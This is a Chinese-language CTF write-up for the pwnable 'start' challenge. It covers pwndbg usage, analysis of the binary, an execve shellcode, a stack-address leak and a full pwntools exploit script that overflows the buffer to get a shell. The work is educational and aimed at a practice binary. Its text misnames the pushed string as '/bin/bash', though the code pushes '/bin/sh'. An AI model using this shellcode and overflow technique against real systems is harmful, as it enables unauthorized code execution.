文章目錄
- 前言
- 一、使用環境
- 二、pwndbg介紹
- 1. 命令介紹
- 2. 界面介紹
- 三、反匯編分析
- 四、Shellcode
- 五、解題思路
- 六、編寫EXP
- 結語
前言
作業3遇到了很嚴重的問題,一直沒搞定,先略過了,要講的東西也一起放到這里講吧。
這道題是 pwnable 的第一道題 start 。
一、使用環境
處理器架構:x86_64
操作系統:Ubuntu24.04.2
GDB版本:16.2
pwndbg:2025.05.30
二、pwndbg介紹
這次使用新工具 pwndbg 講解(代替 gdb)。還沒安裝的可以在 環境搭建 最下面的 250616補充內容 中找到。
之前安裝了一直也沒有用,今天嘗試了一下還是很舒服的,先做一些介紹。
1. 命令介紹
pwndbg 是 gdb 的插件,所以 gdb 里能用的,pwndbg 也都能用。還有一些額外的功能:
- 內存搜索
pattern:要搜索的內容。可以用來搜索程序包含的字符串search <pattern>
- 查看棧內容
count:要查看的棧幀數,比用 x 命令來查要方便很多。但是一般用不到,因為 pwndbg 里默認就會顯示棧。stack <count>
- 堆分析
addr:堆塊的第一個地址。暫時還沒學到相關內容,沒有用過。heap <addr>
- ROP支持
不加選項時列出所有可用的 rop。rop --grep <asm>
可以使用 --grep 選項指定要匹配的 rop。 - GOT/PLT表
got 可以查看全局偏移量表。got plt
plt 可以查看過程鏈接表。 - 內存映射
可以查看程序中各個段的情況vmmap
- 查看文件安全
可以先在 pwndbg 中啟動程序,然后用 checksec 查看安全信息,要方便一些。checksec
- 默認上下文視圖
就是用 pwndbg 調試時默認的顯示方式,如果因為某些原因導致顯示的內容上滾得太遠,又不方便讓程序繼續運行,可以用這個命令讓調試窗口重新顯示出來。context
2. 界面介紹
pwndbg 的調試界面默認由四部分組成。
第一部分是寄存器:
以前經常看的內容,在 gdb 里要用 i(nfo) r(egisters) 查看。
第二部分是反匯編:
最主要的部分,在 gdb 里要用 disas(semble) 查看。
第三部分是棧:
很關鍵的部分,但是在 gdb 里看起來比較麻煩,要通過 x 查看 esp/rsp 附近的內存,在 pwndbg 里要方便很多。
第四部分是調用棧:
這里可以看到函數調用和返回的順序,以前的案例都比較簡單,所以很少用,在 gdb 里用 bt 查看。
三、反匯編分析
沒有源碼,我上傳了一個附件,也可以在 pwnable 下載。
使用 pwndbg 啟動程序,使用 start 命令執行:
這里就體現出 pwndbg 的優越性了,因為以前我用 gdb 調試過這個程序,gdb 的 start 要找 main 函數執行,所以并不能啟動這個程序,需要用 objdump 或者 info functions 之類的方法先找到程序入口,打了斷點,然后才能開始調試,用 pwndbg 就要簡單很多,直接 start 就可以了。
忘了 checksec,補充一下,無傷大雅:
這里看不到完整的反匯編,可以用 disas 看一下:
一個簡單而又純粹的程序,沒有任何一條多余的指令,看起來很漂亮。
注意這里是 intel 風格的匯編,如果有需要可以使用 set disassembly-flavor att
改為 AT&T 風格的匯編。
這個匯編程序大體可以分為四部分:
第一部分是準備工作。
首先壓棧了一個 esp,這一步看似無用,對程序來說也確實沒用,它唯一的意義是人為制造了一個漏洞……你懂的。
然后壓棧了 _exit 函數的地址,在 pwndbg 的默認反匯編窗口可以看到這個地址是 _exit 函數。作用是預留給 ret 用于跳轉到程序結束。
4 個 xor 指令用于清空寄存器。
最后 push 壓棧字符串。看不出這段數據是什么也沒關系,我們可以等它進棧了再看它是什么。
第二部分有一個很顯眼的 int 0x80 ,在進行系統調用,所以要先看 eax 是什么,這里的 al 是 ax 寄存器的低 8 位,傳送了一個 4 ,x86 架構的 4 號系統調用是 write ,這一部分的作用是輸出一個字符串。
在這里再簡單復習一下系統調用的用法。x86 架構下,使用 int 0x80 觸發系統調用,觸發時,eax 保存的值為系統調用號,ebx、ecx、edx、esi、edi 分別保存第一二三四五個參數。x86_64 架構下,使用 syscall 觸發系統調用,rax 保存系統調用號,rdi、rsi、rdx、r10、r8、r9 分別保存第一二三四五六個參數。對于系統調用號和調用參數不熟悉的可以查閱這個 手冊
第三部分同樣有一個系統調用,觀察 eax ,賦值的是 3 ,所以這里是 read 系統調用,要接收輸入,接收長度在 edx,0x3c,共 60 字節。
第四部分是結束程序,esp + 20,指向 _exit 的位置,然后跳轉,_exit 的具體實現就不管了,總之程序結束。
安全性上 Stack
的值是 No canary found
,可以棧溢出 。
esp 的移動只有20個字節,可輸出的長度足有60個字節,顯然這里是留給我們溢出的。但是用 objdump 或是 info functions 可以發現,這個程序并沒有什么后門函數,所以不適用之前的通過棧溢出跳轉到某個函數來拿到 shell 的方法。
但是它足有 60 個字節,就算前面要用于溢出和跳轉,60 - 20 也還剩 40 個字節,并且 NX
的值是 NX disabled
,棧上可執行,所以我們就可以考慮自己寫一個函數在棧上,通過執行它來獲取shell了。
四、Shellcode
一個新的概念,什么是 shellcode ?用來獲取 shell 的 code 就是 shellcode 。
無論什么編程語言,最終都要轉換成匯編語言來執行,匯編語言就約等于供人類閱讀的機器碼,是運行最高效的編程語言,所以直接在內存上用二進制寫 shellcode,可以做到極致的簡潔且高效。
shellcode 的原理也很簡單,就是執行一段匯編代碼,這段匯編代碼要執行類似于 execve 這種可以啟動 shell 的系統調用。
使用
man 2 execve
可以看到原型如下:
int execve(const char *pathname, char *const _Nullable argv[],char *const _Nullable envp[]);
execve 的第一個參數是一個可以啟動 shell 的命令字符串,接收一個指針常量,其實就是字符數組。在匯編中的體現,就是一個指向字符串的地址,字符串一般使用 “/bin/sh” 。第二個和第三個參數用 NULL。
轉換成x86的匯編代碼,就是在 eax 里存 execve 的系統調用號 11 ,ebx 里存指向 “/bin/sh” 的地址,ecx 和 edx 存 0,然后執行 int 0x80。
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
不知道為什么使用 AT&T 風格匯編會報錯,只能用 intel 風格了,和 AT&T 風格最大的區別是源操作數在后,目的操作數在前。
前兩行是給 ecx 和 edx 清零,第三行是給 eax 賦值 11 。
第四和第五行是把 “/bin/bash\0” 壓棧,注意這里壓棧的是數字,小端序的數字入棧時是低對低,高對高的,相對于字符串的順序來說就是低位在前,高位在后,所以是倒序壓棧的。
第六行是把 esp 的值傳送給 ebx ,也就是把 “/bin/bash\0” 字符串的開始地址給 ebx 。
第七行是觸發系統調用。
在 pwntools 中可以用 asm() 將這段匯編代碼匯編為字節串。
輸出一下 shellcode ,計算一下長度:
from pwn import *context.arch='amd64'
context.os='linux'
context.endian='little'shellcode=asm("""
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")s = [f"\\x{i:02x}" for i in shellcode]
print(''.join(s))
print(len(shellcode))
因為直接輸出會有部分字符進行 ASCII 轉換,所以稍微處理一下。當然不處理也沒關系,一般來講也沒有必要特意輸出出來,只要能正常執行,長度符合要求,字節串直接拿來用就好了。
輸出結果:
shellcode 為 \x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
。
長度 23 字節。
五、解題思路
現在我們看懂了匯編代碼,也有了 shellcode ,那剩下的問題就是,怎么讓程序執行 shellcode ?
把斷點打在輸入之后:
b *_start+57
運行輸入 ffff :
在棧中可以很輕松地看到,棧頂就是輸入字符串的地方,地址在 0xffffd1b4 ,而跳轉的地址在 0xffffd1c8 ,跳轉目標是 _exit 函數。
可輸入的長度是 60,跳轉地址在第 21 到 24 字節,也就是偏移量是 20 ,可以放 shellcode 的內存為前 20 字節或后 36 字節,現在手里的 shellcode 長度為 23 字節,所以只能放在后 36 字節中,我們測試一下:
把跳轉地址的 _exit 函數改為下一個存儲單元:
set {int}0xffffd1c8=0xffffd1cc
再把下一個存儲單元開始的內容替換為 shellcode :
set {char[24]}0xffffd1cc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
查看棧:
已經替換成功了,還可以看一眼 shellcode 的指令:
和我們寫的匯編代碼是一樣的,既然棧是可以執行的,那理論上就是可以成功的,按 c 執行:
命令成功執行了,似乎是拿到了 shell ,但是 pwndbg 崩潰了,這個大概是 pwndbg 的問題,我們用 gdb 再來一遍。
打斷點,執行,看棧,和剛才都是一樣的,只是棧看起來要稍微麻煩一點,我標注了字符串開始的地方和跳轉的地方,然后修改值:
set {int}0xffffd2d8=0xffffd2dc
set {char[24]}0xffffd2dc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
輸入 c 執行:
已經成功拿到 shell 了,但是到這里就結束了嗎?
從剛才實現的方式來看,如果要寫 exp ,我們需要拿到函數返回的地址,而在 pwndbg 和 gdb 的兩次測試中,這個地址是不一樣的。棧的位置是隨機的,我們沒有辦法把它寫死,更沒有辦法拿到 ctf 服務器上棧的地址,所以現在的問題變成了,要如何獲得棧的地址?
源程序的匯編代碼中,有一條和棧高度相關的指令,也就是第一條的 push esp ,它把棧頂壓入了棧中。
我們重新啟動 pwndbg ,觀察第一條指令:
執行指令之前,此時 esp 指向的地址是 0xffffd1d0 ,對于黑盒測試來說這個地址是未知的,也無法通過查看寄存器的方式查看它的實際地址,但是我們執行第一條指令:
push 相當于兩條指令,先是移動 esp 指向前一個存儲單元,然后再把 push 的操作數存在 esp 當前指向的位置,于是 esp 之前指向的地址 0xffffd1d0 現在被存在棧上 0xffffd1cc 的位置了。
而程序繼續執行的話,會調用輸出的函數,于是我們就有了獲得這個棧中數據的機會。
繼續觀察程序運行,重點觀察棧的變化:
仔細感受準備階段中棧的變化,因為 pwndbg 對棧中的內容有一定的解析,已經很容易理解了。
之后的兩個系統調用只會往內存中輸入一個字符串,并不會對 esp 的位置產生影響,我們再次來到 _start+57 :
當前這一條指令的內容是 esp + 0x14 ,所以可以預見,執行完這一條指令之后,esp 指向的位置是 0xffffd1c8 。
再下一條指令是 ret ,ret 相當于 pop eip,會將 esp 指向存儲單元的內容彈給 eip ,并讓 esp 指向下一個存儲單元,而下一個存儲單元保存的內容,就是我們想要的棧的地址。如果此時能調用輸出的系統調用把 esp 指向的內容輸出出來,我們就可以得到這個地址,而這個程序中輸出的系統調用輸出字符串的地址來源正是 esp :
所以只要在跳轉的時候,我們讓程序跳轉到輸出的系統調用的位置,程序就會將這個地址輸出出來,那么檢驗一下,將跳轉地址修改到 write 系統調用準備參數的地方:
set {int}0xffffd1c8=0x08048087
執行程序:
此時程序經過 ret , esp 已經指向最初壓棧 esp 的位置,準備執行 mov ecx, esp,要將 esp 指向的地址傳給 ecx 用于 write 輸出,繼續執行:
這里 pwndbg 還貼心地顯示了使用的系統調用和每個參數的值。
繼續執行時輸出了一段亂碼:
write 是一個底層輸出用的系統調用,會按照給定的字節數輸出,而不是處理字符串邏輯,所以此時 write 想要把這個地址的內容以字符輸出 20 字節,然而這里保存的不是 ASCII 值,而是地址,所以這里輸出的應該是這一部分:
至于具體是怎么輸出的就不研究了,我們只要在 pwntools 中接收前 4 個字節,就可以得到一個確切的地址了,剩下的只要通過這個地址計算偏移量就好了。
繼續分析程序,下一步程序要進行 read 的系統調用,此時棧里的情況是這樣的:
要注意,我們拿到的地址并不是此時棧頂的地址,而是棧頂地址中保存的下一個存儲單元的地址。程序還會第二次接收輸入,從當前棧頂位置開始輸入,并且 esp 也會再一次 +20,之后會用 esp 指向位置保存的值作為地址來跳轉。所以我們應該在字符串開始 +20 偏移量的位置寫跳轉的地址,在地址后面寫 shellcode ,然后跳轉到我們拿到的地址 +20 偏移量的位置執行 shellcode。
到這里思路已經明了,也不再做更多的測試了,直接開始寫 EXP。
六、編寫EXP
from pwn import *# 全局配置
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'shellcode = asm("""
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")# 記錄系統調用 write 開始的地址
write_addr = p32(0x8048087)
# 偏移量
offset = 20with process('./start') as r:# 第一次溢出,跳轉回 write 系統調用first = b'A' * offset + write_addrr.sendafter(b':', first)# 接收 4 個字節的地址esp_addr = u32(r.recv(4))# 第二次溢出,偏移量+shellcode地址+shellcodesecond = b'A' * offset + p32(esp_addr + offset) + shellcoder.send(second)r.interactive()
已經成功了,$ 前的一串字節串,就是第二次執行 write 輸出的那 20 字節,去掉前 4 字節后剩下的部分,因為執行到 interactive() 就一起輸出出來了。
要想拿下 flag ,只要把 process 改成 remote ,參數給域名和端口號就可以了。
結語
雖然前段時間就把這個做出來了,但是也沒敢發,邏輯很繞,細講太難講了,也沒想到這么快就學到這道題了。今天挺艱難地算是寫出來了,不知道大家接受的怎么樣?歡迎留言討論。